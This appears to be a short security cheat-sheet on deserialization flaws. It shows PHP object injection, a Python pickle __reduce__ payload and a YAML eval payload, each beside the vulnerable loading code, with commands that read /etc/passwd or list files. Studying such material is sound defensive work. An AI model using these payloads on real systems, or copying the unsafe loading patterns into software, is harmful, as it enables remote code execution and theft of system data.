Skip to content

Deserialization vulnerabilities

The decoding and transformation of user supplied data into language objects can result in remote code execution.

PHP

ref

  1. Look at code

  2. Identify functions that do something malicious based on user input. Like:

    php
    class Foo{
        private $cmd = "ls";
        function __toString() {
            return system($this->cmd);
        }
    }
  3. Find out where they are executed

    php
    $x = unserialize($_GET["data"]);
    echo $x;
  4. Write class that sets parameters to what you want. Methods cannot be overridden.

    php
    class Foo{
        private $cmd = "cat /etc/passwd";
    }
  5. Instantiate and serialize class

    php
    $f = new Foo();
    echo serialize($f);

Things to note:

  • You cannot override methods
  • You do not need to deserialize to a class that is correct, any class will do as long as it is loaded by the compiler

Python pickle

pickle — Python object serialization — Python 3.9.4 documentation

Vulnerable code:

python
# Attacker's code
import os
import pickle

class Exploit:
    def __reduce__(self):
        # os doesn't need to be imported on the victim
        return os.system, ("cat /etc/passwd",)

pic = pickle.dumps(Exploit())

# Victim's code
data = pickle.loads(pic)

Notes:

  • Python version must match
  • All python versions are vulnerable

YAML deserialization

ref

Payload:

yaml
!!python/object/new:tuple
- !!python/object/new:map
  - !!python/name:eval
  - [ "print(__import__('os').system('ls'))" ]

Vulnerable code:

python
import yaml
yaml.load(payload)